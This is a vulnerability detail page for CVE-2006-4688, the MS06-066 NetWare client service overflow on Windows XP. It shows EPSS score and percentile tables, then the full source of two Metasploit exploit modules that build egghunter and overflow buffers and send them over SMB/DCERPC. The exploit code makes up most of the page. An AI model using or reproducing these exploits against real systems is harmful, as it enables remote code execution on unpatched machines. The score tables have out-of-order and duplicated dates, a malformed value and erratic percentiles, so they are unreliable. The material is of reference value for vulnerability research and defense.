CVE-2006-4688 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	87.31%	–	–
2023-03-12	–	–	–	97.02%	–
2023-04-23	–	–	–	96.94%	–
2023-05-28	–	–	–	96.83%	–
2023-06-18	–	–	–	96.83%	–
2023-08-13	–	–	–	96.82%	–
2023-09-24	–	–	–	96.84%	–
2024-01-14	–	–	–	96.67%	–
2024-02-18	–	–	–	96.84%	–
2024-04-14	–	–	–	96.7%	–
2024-06-02	–	–	–	96.75%	–
2024-07-21	–	–	–	96.55%	–
2024-10-06	–	–	–	96.68%	–
2024-12-22	–	–	–	96.6%	–
2025-03-09	–	–	–	96.4%	–
2025-01-19	–	–	–	96.6%	–
2025-03-09	–	–	–	96.4%	–
2025-03-18	–	–	–	–	78.29%
2025-03-30	–	–	–	–	78.5%
2025-05-01	–	–	–	–	78.88%
2025-05-01	–	–	–	–	78.88,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	1%
2023-03-12	1%
2023-04-23	1%
2023-05-28	99%
2023-06-18	1%
2023-08-13	1%
2023-09-24	1%
2024-01-14	1%
2024-02-18	1%
2024-04-14	1%
2024-06-02	1%
2024-07-21	1%
2024-10-06	1%
2024-12-22	1%
2025-03-09	1%
2025-01-19	1%
2025-03-09	1%
2025-03-18	99%
2025-03-30	99%
2025-05-01	99%
2025-05-01	99%

## # $Id: ms06_066_nwapi.rb 10150 2010-08-25 20:55:37Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Services MS06-066 nwapi32.dll', 'Description' => %q{ This module exploits a stack buffer overflow in the svchost service, when the netware client service is running. This specific vulnerability is in the nwapi32.dll module. }, 'Author' => [ 'pusscat' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10150 $', 'References' => [ [ 'CVE', '2006-4688'], [ 'OSVDB', '30260'], [ 'BID', '21023'], [ 'MSB', 'MS06-066'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 296, 'BadChars' => "", 'Compat' => { # -ws2ord XXX? }, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP2', { 'Ret' => 0x00EBEEEC , }, ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 14 2006')) register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'srvsvc']), ], self.class) end def exploit # [in] [unique] wchar * # [in] wchar * # [in, out] long # [out] handle # Generate the egghunter payload hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true }) egg = hunter[1] #print_status("Today, we'll be hunting for 0x#{egg.unpack("V")[0]}") # Add giant blocks of guard data before and after the egg eggdata = rand_text(1024) + egg + rand_text(1024) buflen = 295 ofstring = Rex::Text.to_unicode('\\\\') + "\x90" + hunter[0] + rand_text(buflen-hunter[0].length) + [ target.ret ].pack('V') + "\x00" #ofstring = Rex::Text.to_unicode('\\\\') + payload.encoded + [ target.ret ].pack('V') + "\x00\x00" stubdata = NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString("\\\\BBBB") + NDR.UnicodeConformantVaryingStringPreBuilt(ofstring) + # HERE! #NDR.UnicodeConformantVaryingString('\\\\' + "A"*1024 + "\x00") + NDR.long(rand(0xffffffff)) + NDR.long(rand(0xffffffff)) + #NDR.long((ofstring.length * 2) + 0xC) + eggdata print_status("Connecting to the SMB service...") connect() smb_login() handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") print_status("Calling the vulnerable function...") begin dcerpc.call(0x09, stubdata) rescue Rex::Proto::DCERPC::Exceptions::NoResponse print_status('Server did not respond, this is expected') rescue => e if e.to_s =~ /STATUS_PIPE_DISCONNECTED/ print_status('Server disconnected, this is expected') else raise e end else print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}") end # Cleanup handler disconnect if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil and dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00") return true else return false end end end

## # $Id: ms06_066_nwwks.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Services MS06-066 nwwks.dll', 'Description' => %q{ This module exploits a stack buffer overflow in the svchost service, when the netware client service is running. This specific vulnerability is in the nwapi32.dll module. }, 'Author' => [ 'pusscat' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2006-4688'], [ 'OSVDB', '30260'], [ 'BID', '21023'], [ 'MSB', 'MS06-066'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 1000, 'BadChars' => "", 'Compat' => { # -ws2ord XXX? }, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP2', { 'Ret' => 0x616566fb, # modemui.dll [esp + 16]: popaw, ret }, ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 14 2006')) register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'nwwks']), ], self.class) end def exploit # [in] [unique] wchar * # [in] [unique] wchar * # [out] long ofstring = Rex::Text.to_unicode('\\\\') + rand_text(292) + [ target.ret ].pack('V') + "\x00\x00" stubdata = NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") + NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingStringPreBuilt(payload.encoded + "\x00\x00") + NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") + NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") + NDR.UnicodeConformantVaryingStringPreBuilt(ofstring) print_status("Connecting to the SMB service...") connect() smb_login() handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") print_status("Calling the vulnerable function...") begin dcerpc.call(0x01, stubdata) rescue Rex::Proto::DCERPC::Exceptions::NoResponse print_status('Server did not respond, this is expected') rescue => e if e.to_s =~ /STATUS_PIPE_DISCONNECTED/ print_status('Server disconnected, this is expected') else raise e end else print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}") end # Cleanup handler disconnect if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil and dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00") return true else return false end end end